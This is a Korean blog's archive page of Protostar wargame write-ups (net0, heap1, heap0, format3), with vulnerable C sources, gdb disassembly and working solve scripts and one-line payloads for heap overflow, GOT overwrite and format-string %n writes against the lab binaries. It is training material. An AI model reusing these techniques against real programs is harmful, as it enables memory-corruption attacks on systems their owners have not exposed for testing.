'2025/01/30'에 해당되는 글 5건

protostar net0

시스템 2025. 1. 30. 23:11

https://github.com/LYoungJoo/WarGame_WrteUp/blob/master/protostar/Net0-2%20Write%20Up/NET0.py

 

WarGame_WrteUp/protostar/Net0-2 Write Up/NET0.py at master · LYoungJoo/WarGame_WrteUp

wargame writeup. Contribute to LYoungJoo/WarGame_WrteUp development by creating an account on GitHub.

github.com

 

백그라운드로 구동

#include "../common/common.c"

#define NAME "net0"
#define UID 999
#define GID 999
#define PORT 2999

void run()
{
	unsigned int i;
	unsigned int wanted;
	
	wanted = random();
	
	printf("Please send '%d' as a little endian 32bit int \n", wanted);
	
	if(fread(&i, sizeof(i), 1, stdin) == NULL) {
		errx(1, ":(\n");
	}
	
	if(i == wnated) {
		printf("Thank you sir/madam \n");
	} else {
		printf("I'm sorry, you sent %d instead \n", i);
	}
	
}

int main(int argc, char **argv, char **envp)
{
	int fd;
	char *username;
	
	/* Run the process as a daemon */
	background_process(NAME, UID, GID);
	
	/* Wait or socket activity and return */
	fd = serve_forever(PORT);
	
	/* Set the client socket to STDIN, STDOUT, and STDERR */
	set_io(fd);
	
	/* Don't do this */
	srandom(time(NULL));
	
	run();
}
import socket
import struct

def until(s, string):
    data = b''
    while string not in data:
        data += s.recv(1)
    return data

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.249.139', 2999))

data = until(s, b'\n')
recvstring = str(data)
print(recvstring)
start = str(data).find("'")+1
end = str(data).find("'", start)
quiz = int(recvstring[start:end])

convlittle = struct.pack('<I',quiz)
s.send(convlittle)
print(until(s, b'\n'))
s.close()



참고

# using pwntool : https://github.com/Gallopsled/pwntools
from pwn import *

s = remote('10.211.55.9', 2999)

data = int(s.recvline()[13:22])

print "[+] RECV " + str(data)
print "[+] SEND"

s.send(p32(data)) # packing
print "[+] " + str(s.recvline())
import socket
import struct

s = socket.socket()
s.connect(("192.168.xxx.xxx",2999))

data = s.recv(1024)
print data
data = data.split("'")

s.send(struct.pack('<i', int(data[1])))
print s.recv(1024)
s.close()

'시스템' 카테고리의 다른 글

protostar net1  (0) 2025.01.31
eprotostar heap1  (0) 2025.01.31
protostar heap1  (0) 2025.01.30
protostar heap0  (0) 2025.01.30
protostar format3  (0) 2025.01.30
블로그 이미지

wtdsoul

,

protostar heap1

시스템 2025. 1. 30. 22:16

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

 

PLT와 GOT 자세히 알기 1

Dynamic Linking 과정을 추적해 PLT와 GOT를 이해해보자 :) 시스템 해킹을 공부하시는 분들이라면 PLT와 GOT에 대해 알고 있을 것입니다. 이제 막 시스템 해킹 공부를 시작한 분들도 한 번 쯤 들어보셨을

bpsecblog.wordpress.com

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

  

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

name 멤버 변수에 argv[1], argv[2]의 값을 strcpy() 함수로 복사하고있다.
strcpy() 함수에서 힙 오버플로우가 발생 

malloc 이후 break point 설정
x/x $eax 
=> 0x804a008

<main+161>부분에 break point를 걸어주고 값을 넣고 heap의 상태를 보자
0x0804a018부분은 i1->name이고 0x0804a038은 i2->name이다.

printf() 함수가 최적화 때문에 puts() 함수로 패치되었다.
puts()함수의 got를 구해 puts() 함수의 got가 winner() 함수를 호출하도록 바꿔주면된다.
페이로드는 dummy[20] + got + winner() 함수 주소

즉 NOP(20) + puts GOT, 0x8049774) + 0x8048494(winner)

./heap1 $(python -c 'print "\x90" * 20 + "\x74\x97\x04\x08"') $(python -c 'print "\x94\x84\x04\x08"')



'시스템' 카테고리의 다른 글

eprotostar heap1  (0) 2025.01.31
protostar net0  (0) 2025.01.30
protostar heap0  (0) 2025.01.30
protostar format3  (0) 2025.01.30
protostar format2  (0) 2025.01.29
블로그 이미지

wtdsoul

,

protostar heap0

시스템 2025. 1. 30. 21:18
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}

strcpy() 함수에서 name 배열에 argv[1] 값을 복사할 떄 힙 오버플로우 발생 

fp 와 data 차이는 HEX로 0x48 차이나며 10진수로 72 차이가 난다. 


0x804a050 메모리 값 확인 시 0x08048478 의 nowinner의 주소가 들어가 있다. 
fd와 data 의 72 byte 내에 dummy + winner() 함수 주소가 포함되어 있을 가능성이 높다.

gdb로 확인된 0x08048464 로 

./heap0 $(python -c 'print "\x90" * 72 + \x64\x84\x04\x08"')

입력 시 확인완료

추가

(gdb) disas main

Dump of assembler code for function main:

0x0804848c <main+0>: push   %ebp

0x0804848d <main+1>: mov    %esp,%ebp

0x0804848f <main+3>: and    $0xfffffff0,%esp

0x08048492 <main+6>: sub    $0x20,%esp

0x08048495 <main+9>: movl   $0x40,(%esp) // 64바이트만큼 malloc으로 힙 할당하기 위한 인자

0x0804849c <main+16>: call   0x8048388 <malloc@plt>

0x080484a1 <main+21>: mov    %eax,0x18(%esp) // malloc 할당된 주소1 를 esp+0x18에 저장

0x080484a5 <main+25>: movl   $0x4,(%esp)

0x080484ac <main+32>: call   0x8048388 <malloc@plt> // 4바이트만큼 malloc 힙 할당

0x080484b1 <main+37>: mov    %eax,0x1c(%esp) // malloc 할당된 주소2 를 esp+0x1c에 저장 (fp임)

0x080484b5 <main+41>: mov    $0x8048478,%edx // edx에 nowinner 함수 지정

0x080484ba <main+46>: mov    0x1c(%esp),%eax // fp

0x080484be <main+50>: mov    %edx,(%eax) // fp를 nowinner로 지정

0x080484c0 <main+52>: mov    $0x80485f7,%eax // printf 인자 1

0x080484c5 <main+57>: mov    0x1c(%esp),%edx // printf 인자 2

0x080484c9 <main+61>: mov    %edx,0x8(%esp)

0x080484cd <main+65>: mov    0x18(%esp),%edx // printf 인자 3

0x080484d1 <main+69>: mov    %edx,0x4(%esp)

0x080484d5 <main+73>: mov    %eax,(%esp)

0x080484d8 <main+76>: call   0x8048378 <printf@plt>

0x080484dd <main+81>: mov    0xc(%ebp),%eax // argv0 

0x080484e0 <main+84>: add    $0x4,%eax // argv1

0x080484e3 <main+87>: mov    (%eax),%eax // *argv1

0x080484e5 <main+89>: mov    %eax,%edx

0x080484e7 <main+91>: mov    0x18(%esp),%eax // strcpy에 malloc 할당된 주소1 를 넣음

0x080484eb <main+95>: mov    %edx,0x4(%esp) // strcpy에 argv1[] 넣음

0x080484ef <main+99>: mov    %eax,(%esp)

0x080484f2 <main+102>: call   0x8048368 <strcpy@plt> 

// => strcpy를 이용해서 malloc 할당된 범위를 넘겨서 fp를 winner함수로 변조하면 됨

0x080484f7 <main+107>: mov    0x1c(%esp),%eax

0x080484fb <main+111>: mov    (%eax),%eax

0x080484fd <main+113>: call   *%eax

0x080484ff <main+115>: leave  

0x08048500 <main+116>: ret

./heap0 `python -c 'print "A"*72+"\x64\x84\x04\x08"'`

'시스템' 카테고리의 다른 글

protostar net0  (0) 2025.01.30
protostar heap1  (0) 2025.01.30
protostar format3  (0) 2025.01.30
protostar format2  (0) 2025.01.29
protostar format1  (0) 2025.01.28
블로그 이미지

wtdsoul

,

protostar format3

시스템 2025. 1. 30. 20:04

https://blog.naver.com/seongjin0526/221330979343?trackingCode=rss

 

exploit-exercises protostar format3

(gdb) info fun All defined functions: File format3/format3.c: int main(int, char **); void printbu...

blog.naver.com

 


 
(python -c 'print "AAAA"+".%8x"*12') | ./format3
(python -c 'print "\xf4\x96\x04\x08" + "%08x" * 10 + "%16930032x%n"') | ./format3

변경해야하는 값0x0102554는 10진수로 16930116 이다.
페이로드는 target 주소 + %08x * 10 + %16,930,032x%n
16930032는 target주소와 포맷 공백은 84를 빼준 값
앞에있는 84와 16930032가 더해져 16930116이 되어 16진수값 0x0102554가 target주소에 값이 들어간다.

 

'시스템' 카테고리의 다른 글

protostar heap1  (0) 2025.01.30
protostar heap0  (0) 2025.01.30
protostar format2  (0) 2025.01.29
protostar format1  (0) 2025.01.28
protostar stack5  (0) 2025.01.28
블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,